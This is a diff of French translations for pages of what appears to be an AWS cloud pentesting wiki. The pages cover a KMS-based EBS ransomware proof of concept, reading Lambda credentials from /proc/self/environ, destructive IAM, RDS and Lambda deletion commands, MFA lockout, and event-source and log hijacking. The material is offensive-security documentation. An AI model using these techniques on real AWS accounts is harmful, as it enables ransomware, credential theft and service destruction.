Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être rebaptisé RMS pour Ransomware Management Service, tant il est facile à utiliser pour chiffrer divers services AWS.
|
||||
|
||||
Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple, nous laisserons AWS gérer les données de clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour autoriser n'importe quel AWS account Principal à utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout accès s'appelle 'Outside Encryption'
|
||||
D'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Dans cet exemple nous laisserons AWS gérer les données de clé pour moi, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à n'importe quel Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout accès s'appelle 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -337,7 +363,7 @@ Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key d
|
||||
]
|
||||
}
|
||||
```
|
||||
La règle de la key policy doit avoir les permissions suivantes activées pour permettre son utilisation afin de chiffrer un volume EBS :
|
||||
La règle de la key policy doit avoir les permissions suivantes activées pour permettre de l'utiliser afin de chiffrer un volume EBS :
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -345,21 +371,21 @@ La règle de la key policy doit avoir les permissions suivantes activées pour p
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Maintenant, avec la clé publiquement accessible à utiliser. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont ceux que nous ciblons pour le chiffrement ; cette attaque se déroule dans le cadre d'une compromission supposée d'un compte AWS à privilèges élevés.
|
||||
Maintenant que la clé publique est disponible. Nous pouvons utiliser un compte "victim" qui a des instances EC2 démarrées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte "victim" sont notre cible pour le chiffrement ; cette attaque se déroule dans le cadre d'une compromission présumée d'un compte AWS à haut privilège.
|
||||
|
||||
 
|
||||
|
||||
Similaire à l'exemple de ransomware S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
Similaire à l'exemple de ransomware S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publique disponible depuis le compte "attacker" pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
|
||||
Cela a pour résultat de n'avoir que des volumes EBS chiffrés disponibles dans le compte.
|
||||
Le résultat est qu'il ne reste que des volumes EBS chiffrés disponibles dans le compte.
|
||||
|
||||
|
||||
|
||||
Il convient également de noter que le script a arrêté les instances EC2 pour pouvoir détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu.
|
||||
Il est également utile de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu.
|
||||
|
||||
|
||||
|
||||
Ensuite, retournez à la key policy dans le compte 'attacker' et retirez la règle de policy 'Outside Encryption' de la key policy.
|
||||
Ensuite, revenez à la key policy dans le compte "attacker" et supprimez la règle de policy 'Outside Encryption' de la key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -430,15 +456,15 @@ Ensuite, retournez à la key policy dans le compte 'attacker' et retirez la règ
|
||||
]
|
||||
}
|
||||
```
|
||||
Attendez un instant que la nouvelle key policy se propage. Ensuite, retournez dans le compte 'victim' et tentez d'attacher un des EBS volumes nouvellement chiffrés. Vous verrez que vous pouvez attacher le volume.
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
|
||||
 
|
||||
|
||||
Mais lorsque vous tentez en fait de redémarrer l'instance EC2 avec le EBS volume chiffré, ça échoue et passe de l'état 'pending' à l'état 'stopped' indéfiniment, puisque le EBS volume attaché ne peut pas être déchiffré avec la key car la key policy ne le permet plus.
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
|
||||
 
|
||||
|
||||
Voici le script python utilisé. Il prend des AWS creds pour un compte 'victim' et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les EBS volumes disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêter chaque instance EC2, détacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Cela ne laissera que des EBS volumes chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état d'origine via des snapshots, mais je tiens à vous informer qu'il s'agit au final d'un ransomware PoC.
|
||||
Voici le script python utilisé. Il prend des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publiquement disponible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrêter chaque instance EC2, détacher les volumes EBS originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTEUR ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état original via les snapshots, mais je tiens à vous informer qu'il s'agit, au bout du compte, d'un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
+44
-18
@@ -12,13 +12,13 @@ Pour plus d'informations sur l'accès IAM :
|
||||
|
||||
## Problème du Confused Deputy
|
||||
|
||||
Si vous **autorisez un compte externe (A)** à accéder à un **rôle** dans votre compte, vous aurez probablement **0 visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**.
|
||||
Si vous **autorisez un compte externe (A)** à accéder à un **role** de votre compte, vous n'aurez probablement **aucune visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**.
|
||||
|
||||
Par conséquent, lorsque vous autorisez un compte externe à accéder à un rôle dans votre compte, il est possible de spécifier un `ExternalId`. Il s'agit d'une chaîne « secrète » que le compte externe (A) doit **spécifier** afin de **assumer le rôle dans votre organisation**. Comme **le compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre rôle**.
|
||||
Par conséquent, lorsque vous autorisez un compte externe à accéder à un rôle dans votre compte il est possible de spécifier un `ExternalId`. Il s'agit d'une chaîne "secrète" que le compte externe (A) doit **fournir** afin de **assumer le rôle dans votre organisation**. Comme **le compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre rôle**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Cependant, notez que ce « secret » `ExternalId` **n'est pas un secret** : toute personne pouvant **lire la IAM assume role policy** pourra le voir. Mais tant que le compte externe A le connaît et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser de A pour accéder à votre rôle**.
|
||||
Cependant, notez que ce `ExternalId` "secret" n'est **pas un secret** : toute personne pouvant **lire la IAM assume role policy pourra le voir**. Mais tant que le compte externe A le connaît, et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser du compte A pour accéder à votre rôle**.
|
||||
|
||||
Exemple:
|
||||
```json
|
||||
@@ -39,9 +39,9 @@ Exemple:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Pour qu'un attacker exploite un confused deputy, il devra d'une manière ou d'une autre déterminer si les principals du compte actuel peuvent impersonate des roles dans d'autres comptes.
|
||||
> Pour qu'un attacker puisse exploiter un confused deputy, il devra trouver d'une manière ou d'une autre si les principals du current account peuvent impersonate des roles dans d'autres accounts.
|
||||
|
||||
### Confiances inattendues
|
||||
### Relations de confiance inattendues
|
||||
|
||||
#### Wildcard en tant que principal
|
||||
```json
|
||||
@@ -51,7 +51,7 @@ Exemple:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Cette politique **autorise l'ensemble d'AWS** à assumer le rôle.
|
||||
Cette politique **autorise tous les services AWS** à assumer le rôle.
|
||||
|
||||
#### Service en tant que principal
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ Cette politique **autorise tout compte** à configurer son apigateway pour appel
|
||||
}
|
||||
}
|
||||
```
|
||||
Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **avez supprimé votre bucket et que l'attacker l'a créé** dans son propre compte, alors il pourrait en abuser.
|
||||
Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **deleted your bucket and the attacker created** it dans leur propre compte, alors ils pourraient en abuser.
|
||||
|
||||
#### Non pris en charge
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Un moyen courant d'éviter les problèmes de Confused Deputy est d'utiliser une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services peuvent ne pas le prendre en charge** (comme CloudTrail d'après certaines sources).
|
||||
Une méthode courante pour éviter les problèmes de Confused Deputy est l'utilisation d'une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services pourraient ne pas le prendre en charge** (comme CloudTrail selon certaines sources).
|
||||
|
||||
### Suppression d'identifiants
|
||||
Avec l'une quelconque des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer des clés d'accès, des profils de connexion, des clés SSH, des identifiants spécifiques au service, des profils d'instance, des certificats ou des CloudFront public keys, ou dissocier des rôles des profils d'instance. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un denial-of-service ou une perte d'accès pour les systèmes qui dépendent de ces identifiants, donc ces permissions IAM doivent être strictement restreintes et surveillées.
|
||||
### Suppression des identifiants
|
||||
Avec l'une des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer des clés d'accès, des profils de connexion, des clés SSH, des identifiants spécifiques au service, des profils d'instance, des certificats ou des clés publiques CloudFront, ou dissocier des rôles des profils d'instance. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un déni de service ou une perte d'accès pour les systèmes qui dépendent de ces identifiants, aussi ces permissions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Suppression d'identités
|
||||
Avec des permissions comme `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes — ou modifier l'appartenance à un groupe — supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès pour les personnes et les services qui dépendent de ces identités, provoquant un déni de service ou une perte d'accès, donc ces actions IAM doivent être strictement restreintes et surveillées.
|
||||
Avec des permissions comme `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes—or modifier l'appartenance à un groupe—supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès pour des personnes et des services qui dépendent de ces identités, provoquant un denial-of-service ou une perte d'accès, donc ces actions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -114,8 +114,7 @@ aws iam delete-group \
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Avec l'une des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des managed/inline policies, retirer des policy versions ou des permissions boundaries, et dissocier des policies des users, groups ou roles. Cela détruit des autorisations et peut modifier le modèle de permissions, entraînant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies ; ces actions IAM doivent donc être strictement restreintes et surveillées.
|
||||
Avec l'une quelconque des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des policies gérées/inline, enlever des versions de policy ou des permissions boundaries, et dissocier des policies d'utilisateurs, groupes ou rôles. Cela détruit des autorisations et peut altérer le modèle de permissions, entraînant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies, donc ces actions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +126,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Suppression d'identités fédérées
|
||||
Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des client IDs. Cela rompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui reposent sur le SSO jusqu'à ce que l'IdP ou les configurations soient restaurés.
|
||||
### Suppression d'identité fédérée
|
||||
Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des client IDs. Cela rompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui dépendent du SSO jusqu'à ce que l'IdP ou les configurations soient restaurés.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -139,7 +138,7 @@ aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Activation illégitime de MFA
|
||||
Avec `iam:EnableMFADevice`, un acteur peut enregistrer un dispositif MFA sur l'identité d'un utilisateur, empêchant l'utilisateur légitime de se connecter. Une fois qu'un MFA non autorisé est activé, l'utilisateur peut être bloqué jusqu'à ce que le dispositif soit supprimé ou réinitialisé (remarque : si plusieurs dispositifs MFA sont enregistrés, la connexion ne nécessite qu'un seul, donc cette attaque n'aura aucun effet pour refuser l'accès).
|
||||
Avec `iam:EnableMFADevice`, un acteur peut enregistrer un périphérique MFA sur l'identité d'un utilisateur, empêchant l'utilisateur légitime de se connecter. Une fois qu'un MFA non autorisé est activé, l'utilisateur peut être verrouillé jusqu'à ce que l'appareil soit supprimé ou réinitialisé (remarque : si plusieurs appareils MFA sont enregistrés, la connexion n'exige qu'un seul, donc cette attaque n'aura aucun effet pour empêcher l'accès).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +146,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Altération des métadonnées de certificats/clés
|
||||
Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant les clés/certificats comme inactifs ou en altérant les références, il peut casser l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services qui dépendent de ces identifiants, entraînant une perte d'accès ou de disponibilité.
|
||||
### Altération des métadonnées des certificats/clefs
|
||||
Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant les clés/certificats comme inactifs ou en altérant leurs références, il peut interrompre l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services qui dépendent de ces identifiants, provoquant une perte d'accès ou de disponibilité.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -159,6 +158,33 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
### `iam:Delete*`
|
||||
|
||||
Le caractère générique IAM iam:Delete* accorde la capacité de supprimer de nombreux types de ressources IAM — users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. — et a donc un très large rayon d'impact : un acteur disposant de iam:Delete* peut détruire de manière permanente des identities, credentials, policies et artefacts associés, supprimer des éléments d'audit/evidence, et provoquer des interruptions de service ou des pannes opérationnelles. Voici quelques exemples :
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Un acteur disposant de l'action iam:EnableMFADevice peut enregistrer un MFA device sur une identité du compte, à condition que le user n'en ait pas déjà un activé. Cela peut être utilisé pour perturber l'accès d'un user : une fois qu'un attacker enregistre un MFA device, le user légitime peut se voir empêché de se connecter car il ne contrôle pas le MFA device enregistré par l'attacker.
|
||||
|
||||
Cette denial-of-access attack ne fonctionne que si le user n'avait aucun MFA enregistré ; si l'attacker enregistre un MFA device pour ce user, le user légitime sera verrouillé hors de tous les flux qui requièrent ce nouveau MFA. Si le user possède déjà un ou plusieurs MFA devices sous son contrôle, l'ajout d'un MFA contrôlé par l'attacker n'empêche pas le user légitime — il peut continuer à authenticate en utilisant n'importe quel MFA qu'il possède déjà.
|
||||
|
||||
Pour enable (register) un MFA device pour un user, un attacker pourrait exécuter :
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
+26
-20
@@ -1,80 +1,86 @@
|
||||
# AWS - Lambda Post Exploitation
|
||||
# AWS - Lambda Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Exfiltrer les credentials Lambda
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda utilise des variables d'environnement pour injecter des credentials à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle-même), vous pouvez les utiliser. Elles sont stockées dans les noms de variable par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`.
|
||||
Lambda utilise des variables d'environnement pour injecter des credentials à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle-même), vous pouvez les utiliser vous-même. Les credentials se trouvent dans les noms de variables par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`.
|
||||
|
||||
Par défaut, celles-ci auront l'accès en écriture à un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi qu'à la création de log groups arbitraires ; cependant les fonctions Lambda ont fréquemment plus de permissions assignées selon leur usage prévu.
|
||||
Par défaut, ceux-ci auront accès pour écrire dans un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi que pour créer des log groups arbitraires ; cependant les fonctions Lambda ont fréquemment plus de permissions assignées en fonction de leur usage prévu.
|
||||
|
||||
### `lambda:Delete*`
|
||||
Un attaquant auquel on a accordé lambda:Delete* peut supprimer des Lambda functions, des versions/aliases, des layers, des event source mappings et d'autres configurations associées.
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
### Voler les requêtes URL Lambda d'autres utilisateurs
|
||||
|
||||
Si un attaquant parvient à obtenir une RCE dans une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs envoyées à la lambda. Si les requêtes contiennent des informations sensibles (cookies, credentials...) il pourra les exfiltrer.
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Voler les requêtes URL Lambda d'autres utilisateurs et les requêtes d'extensions
|
||||
### Voler les requêtes URL Lambda d'autres utilisateurs & requêtes d'extensions
|
||||
|
||||
En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et modifier les requêtes.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
### AWS Lambda – contournement de l'egress VPC
|
||||
|
||||
Forcer une fonction Lambda à sortir d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, retrouvant l'accès internet sortant et contournant les contrôles d'egress appliqués par des sous-réseaux VPC privés sans NAT.
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
### AWS Lambda – Abus de Runtime Pinning/Rollback
|
||||
|
||||
Abuser de `lambda:PutRuntimeManagementConfig` pour fixer une fonction sur une version de runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable pour faciliter l'exploitation et la persistance à long terme.
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
### AWS Lambda – siphonnage de logs via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuser des contrôles de logging avancés via `lambda:UpdateFunctionConfiguration` pour rediriger les logs d'une fonction vers un CloudWatch Logs log group choisi par l'attaquant. Cela fonctionne sans changer le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Si la fonction affiche des secrets/request bodies ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
### AWS - Exposition publique de Lambda Function URL
|
||||
|
||||
Transformer une Function URL Lambda privée en un endpoint public non authentifié en passant le Function URL AuthType à NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
### AWS Lambda – détournement de la cible d'Event Source Mapping
|
||||
|
||||
Abuser de `UpdateEventSourceMapping` pour changer la fonction Lambda cible d'un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis, ou SQS soient livrés à une fonction contrôlée par l'attaquant. Cela détourne silencieusement des données en direct sans toucher aux producteurs ni au code de la fonction originale.
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
### AWS Lambda – exfiltration de données via injection de montage EFS
|
||||
|
||||
Abuser de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployer un code trivial qui liste/lit les fichiers depuis le chemin monté pour exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant.
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
+95
-57
@@ -1,4 +1,4 @@
|
||||
# AWS - RDS Post-exploitation
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -38,11 +38,48 @@ aws rds modify-db-instance \
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
|
||||
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l'arrêt immédiat d'une instance RDS ou d'un cluster entier, provoquant l'indisponibilité de la base de données, des connexions rompues et l'interruption des processus qui en dépendent.
|
||||
|
||||
Pour arrêter une seule instance DB (exemple) :
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Pour arrêter entièrement un cluster DB (exemple) :
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
